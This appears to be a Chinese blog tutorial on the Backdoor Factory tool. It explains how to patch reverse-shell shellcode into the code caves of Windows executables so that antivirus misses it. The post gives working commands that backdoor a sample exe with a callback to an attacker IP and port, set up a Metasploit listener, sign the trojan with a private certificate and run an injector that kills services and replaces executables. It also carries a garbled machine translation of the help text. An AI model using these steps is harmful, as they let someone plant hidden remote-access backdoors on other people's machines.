水一水最近玩的工具 弄dll注入的時候用到的
介紹這款老工具 免殺效果一般。。但是簡單實用
目錄:
0x01 backdoor-factory簡介
0x02 特點功能
0x03 具體參數使用
PS:后門添加私鑰證書
https://tools.kali.org/exploitation-tools/backdoor-factory
https://github.com/secretsquirrel/the-backdoor-factory
0x01 backdoor-factory簡介
后門工廠(BDF)
BDF的目標是用用戶所需的shell代碼對可執行二進制文件進行補丁,並繼續正常執行預補丁狀態。
在滲透測試中,后門程序幫助滲透測試人員在目標機器上執行各種預期的操作。例如,它可以建立從目標主機到攻擊機的網絡連接,方便滲透測試人員控制目標主機。Kali Linux提供一個后門構建工具Backdoor Factory。該工具支持Windows PE和Linux ELF兩種運行機制的可執行文件。
利用該工具,用戶可以在不破壞原有可執行文件的功能的前提下,在文件的代碼裂隙中插入惡意代碼Shellcode。當可執行文件被執行后,就可以觸發惡意代碼。Backdoor Factory不僅提供常用的腳本,還允許嵌入其他工具生成的Shellcode,如Metasploit。
root@kali:~# backdoor-factory __________ __ .___ \______ \_____ ____ | | __ __| _/____ ___________ | | _/\__ \ _/ ___\| |/ // __ |/ _ \ / _ \_ __ \ | | \ / __ \\ \___| </ /_/ ( <_> | <_> ) | \/ |______ /(____ /\___ >__|_ \____ |\____/ \____/|__| \/ \/ \/ \/ \/ ___________ __ \_ _____/____ _____/ |_ ___________ ___.__. | __) \__ \ _/ ___\ __\/ _ \_ __ < | | | \ / __ \\ \___| | ( <_> ) | \/\___ | \___ / (____ /\___ >__| \____/|__| / ____| \/ \/ \/ \/ Author: Joshua Pitts Email: the.midnite.runr[-at ]gmail<d o-t>com Twitter: @midnite_runr IRC: freenode.net #BDFactory Version: 3.4.2 Usage: backdoor-factory [options] Options: -h, --help show this help message and exit -f FILE, --file=FILE File to backdoor -s SHELL, --shell=SHELL Payloads that are available for use. Use 'show' to see payloads. -H HOST, --hostip=HOST IP of the C2 for reverse connections. -P PORT, --port=PORT The port to either connect back to for reverse shells or to listen on for bind shells -J, --cave_jumping Select this options if you want to use code cave jumping to further hide your shellcode in the binary. -a, --add_new_section Mandating that a new section be added to the exe (better success) but less av avoidance -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE User supplied shellcode, make sure that it matches the architecture that you are targeting. -c, --cave The cave flag will find code caves that can be used for stashing shellcode. This will print to all the code caves of a specific size.The -l flag can be use with this setting. -l SHELL_LEN, --shell_length=SHELL_LEN For use with -c to help find code caves of different sizes -o OUTPUT, --output-file=OUTPUT The backdoor output file -n NSECTION, --section=NSECTION New section name must be less than seven characters -d DIR, --directory=DIR This is the location of the files that you want to backdoor. You can make a directory of file backdooring faster by forcing the attaching of a codecave to the exe by using the -a setting. -w, --change_access This flag changes the section that houses the codecave to RWE. Sometimes this is necessary. Enabled by default. If disabled, the backdoor may fail. -i, --injector This command turns the backdoor factory in a hunt and shellcode inject type of mechanism. Edit the target settings in the injector module. -u SUFFIX, --suffix=SUFFIX For use with injector, places a suffix on the original file for easy recovery -D, --delete_original For use with injector module. This command deletes the original file. Not for use in production systems. *Author not responsible for stupid uses.* -O DISK_OFFSET, --disk_offset=DISK_OFFSET Starting point on disk offset, in bytes. Some authors want to obfuscate their on disk offset to avoid reverse engineering, if you find one of those files use this flag, after you find the offset. -S, --support_check To determine if the file is supported by BDF prior to backdooring the file. For use by itself or with verbose. This check happens automatically if the backdooring is attempted. -M, --cave-miner Future use, to help determine smallest shellcode possible in a PE file -q, --no_banner Kills the banner. -v, --verbose For debug information output. -T IMAGE_TYPE, --image-type=IMAGE_TYPE ALL, x86, or x64 type binaries only. Default=ALL -Z, --zero_cert Allows for the overwriting of the pointer to the PE certificate table effectively removing the certificate from the binary for all intents and purposes. -R, --runas_admin EXPERIMENTAL Checks the PE binaries for 'requestedExecutionLevel level="highestAvailable"'. If this string is included in the binary, it must run as system/admin. If not in Support Check mode it will attmept to patch highestAvailable into the manifest if requestedExecutionLevel entry exists. -L, --patch_dll Use this setting if you DON'T want to patch DLLs. Patches by default. -F FAT_PRIORITY, --fat_priority=FAT_PRIORITY For MACH-O format. If fat file, focus on which arch to patch. Default is x64. To force x86 use -F x86, to force both archs use -F ALL. -B BEACON, --beacon=BEACON For payloads that have the ability to beacon out, set the time in secs -m PATCH_METHOD, --patch-method=PATCH_METHOD Patching methods for PE files, 'manual','automatic', replace and onionduke -b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY For onionduke. Provide your desired binary. -X, --xp_mode Default: DO NOT support for XP legacy machines, use -X to support XP. By default the binary will crash on XP machines (e.g. sandboxes) -A, --idt_in_cave EXPERIMENTAL By default a new Import Directory Table is created in a new section, by calling this flag it will be put in a code cave. This can cause bianry failure is some cases. Test on target binaries first. -C, --code_sign For those with codesigning certs wishing to sign PE binaries only. Name your signing key and private key signingcert.cer and signingPrivateKey.pem repectively in the certs directory it's up to you to obtain signing certs. -p, --preprocess To execute preprocessing scripts in the preprocess directory
-h,——help顯示此幫助消息並退出 -f文件,——FILE =FILE文件到后門 - s殼,殼=殼 可用的有效載荷。用show去看 有效載荷。 - h主機,hostip =主機 用於反向連接的C2的IP。 -P端口,——PORT =端口用於連接回shell的端口 或者監聽綁定的外殼 如果您想使用code cave,請選擇此選項 跳轉到進一步隱藏二進制代碼中的shell代碼。 ————add_new_section 命令向exe添加一個新的部分 (更好的成功)但更少的av回避 - u SUPPLIED_SHELLCODE, user_shellcode = SUPPLIED_SHELLCODE 用戶提供的shell代碼,確保它匹配 您的目標體系結構。 洞穴標志將找到可以使用的代碼洞穴 用來存放shellcode。這將打印到所有 特定大小的代碼洞穴。可以使用-l標志 這個設置。 - l SHELL_LEN, shell_length = SHELL_LEN 用於與-c一起使用,以幫助查找不同的代碼洞穴 大小 - o輸出,輸出文件=輸出 后門輸出文件 = NSECTION - n NSECTION,部分 新節名必須小於7個字符 = DIR - d DIR,目錄 這是您想要的文件的位置 后門。您可以創建一個文件回滾目錄 通過強制將編解碼器附加到 通過使用-a設置執行exe。 -w,——change_access這個標志改變了存儲codecave的部分 萊茵集團。有時這是必要的。通過 違約。如果禁用,后門可能會失敗。 -i,——injector這個命令將后門工廠變成一個狩獵和 shell代碼注入機制的類型。編輯目標 注入器模塊中的設置。 - u后綴,后綴=后綴 若要與注入器一起使用,請在原始文件上加上后綴 易於恢復的文件 - d, delete_original 與注入器模塊一起使用。這個命令刪除 原始文件。不用於生產系統。 作者不對愚蠢的使用負責 - o DISK_OFFSET, DISK_OFFSET = DISK_OFFSET 磁盤偏移量上的起始點,單位為字節。一些作者 要混淆它們在磁盤上的偏移量以避免 逆向工程,如果你找到其中一個文件 找到偏移量后使用此標志。 -S,——support_check,以確定該文件是否在之前得到BDF的支持 秘密文件。單獨使用或與他人一起使用 詳細的。如果。,則自動執行此檢查 后門是未遂。 -M,——洞穴挖掘器的未來用途,以幫助確定最小的shell代碼 可能在PE文件中 -q, -no_banner殺死了banner。 -v,——用於調試信息輸出的詳細信息。 - t IMAGE_TYPE,圖像類型= IMAGE_TYPE 所有,僅x86或x64類型二進制文件。默認=所有 -Z,——zero_cert允許覆蓋指向PE的指針 證書表有效地刪除了證書 從二進制的所有意圖和目的。 runas_admin實驗檢查PE二進制文件 ' requestedExecutionLevel水平=“highestAvailable”。如果 這個字符串包含在二進制文件中,它必須以 系統/管理。如果沒有在支持檢查模式,它會 如果是的話,修改清單中的highestAvailable requestedExecutionLevel條目存在。 如果不想對dll進行補丁,可以使用此設置。 默認情況下補丁。 - f FAT_PRIORITY, FAT_PRIORITY = FAT_PRIORITY MACH-O格式。如果胖檔,重點放在哪個拱門上 補丁。默認是x64。要強制x86使用-F x86 兩個頂點都使用-F ALL。 - b燈塔,燈塔=燈塔 對於具有信標能力的有效載荷,設置 時間以秒為單位 - m PATCH_METHOD, patch-method = PATCH_METHOD PE文件修補方法,“手動”,“自動”, - b SUPPLIED_BINARY, user_malware = SUPPLIED_BINARY onionduke。提供所需的二進制文件。 -X,——xp_mode默認值:不支持XP遺留機器,使用-X 支持XP。默認情況下,二進制文件將在XP上崩潰 機器(如沙箱) -A,——idt_in_cave實驗默認情況下一個新的導入目錄表 是在一個新的部分中創建的,通過調用這個標志嗎 將被放入一個代碼洞穴。這會導致變節 失敗是一些例子。首先測試目標二進制文件。 -C,——code_sign為那些與合作設計cert希望簽署PE 二進制文件。命名您的簽名密鑰和私鑰 signingcert。cer signingPrivateKey。pem安排 在certs目錄中,由您來獲取 簽字確實的事情。 在預處理過程中執行預處理腳本 目錄
0x02 特點功能
原理:可執行二進制文件中有大量的00,這些00是不包含數據的,將這些數據替換成payload,並且在程序執行的時候,jmp到代碼段,來觸發payload。
利用其 patch 方式的編碼加密技術,可以輕松的生成win32PE后門程序,從而幫助我們繞過一些防病毒軟件的查殺,達到一定得免殺效果
工具的一些特點:
patch
通過替換 exe、dll、注冊表等方法修復系統漏洞或問題的方法
bdf:向二進制文件中增加或者刪除代碼內容
某些受保護的二進制程序無法 patch
存在一定概率問價你會被 patch 壞掉
使用於 windows PE x32/64 和 linux ELF x32/64 (OSX)
支持 msf payload、自定義 payload
將 shellcode 代碼 patch 進模板文件,躲避 AV 檢查
python 語言編寫
msf 使用的 patch 方法
覆蓋程序入口
msfvenom -p windows/shell/reverse_tcp
創建新的線程執行 shellcode 並跳回原程序入口
msfvenom -p windows/shell/reverse_tcp –k
增加代碼片段跳轉執行后跳回源程序入口
CTP 方法
增加新的代碼段 session,與 msfvenom的-k 方法類似
使用現有的代碼裂縫/洞(code cave)存放 shellcode
代碼洞
二進制中超過兩個字節的連續 x00 區域(代碼片段間區域)
根據統計判斷代碼洞是編譯在進行編譯是造成的,不同的編譯器造成的代碼洞的大小不同
單個代碼洞代銷不足以存放完整的 shellcode
多代碼洞跳轉(非順序執行)
初期免殺率可達100%
結合 msf 的 stager 方法
0x03 具體參數使用
提一下 不要kali自帶的 是個坑。
隨着拿個exe 小葵轉換工具.exe
安裝github都有。
查看是否支持后門patch
-f:指定測試程序
-S:檢查該程序是否支持 patch
backdoor-factory -f kui.exe -S
指定的 shellcode patch
backdoor-factory -f kui.exe -c -l 200
-c:code cave(代碼裂縫)
-l:代碼裂縫大小
查看支持哪些 payload 的注入:
backdoor-factory -f kui.exe -s show
注入payload
backdoor-factory -f kui.exe -s iat_reverse_tcp_stager_threaded -H 192.168.5.4 -P 4444
-s:選擇使用 payload 類型
-H:選擇回連服務器地址
-P:回連服務器端口
選擇了code cave的序號即可完成
msf監聽:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.5.3 set lport 4444 exploit
md5sum ./kui.exe /root/kui.exe
常用參數
-c:code cave(代碼裂縫)
-l:代碼裂縫大小
-s:選擇使用 payload 類型
-H:選擇回連服務器地址
-P:回連服務器端口
-J:使用多代碼裂縫注入
PS:看手冊是可以添加自己的私鑰證書在我們的馬兒里面~~~
看了網上好像沒人寫這個
使用:將私鑰放在一個文件里:
echo -n yourpassword > certs/passFile.txt
證書格式:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
證書目錄:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
這時候我們需要使用C參數 生成win32pe代碼裂縫插入私鑰部分。
例子:
./backdoor.py -f kui.exe -s iat_reverse_tcp_inline -H 192.168.5.4 -P 4444 -m automatic -C
[*] Code Signing Succeeded
###Hunt and backdoor: Injector | Windows Only The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.
這里還可以選擇在python字典的注入模塊 這個沒試 有空研究下
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow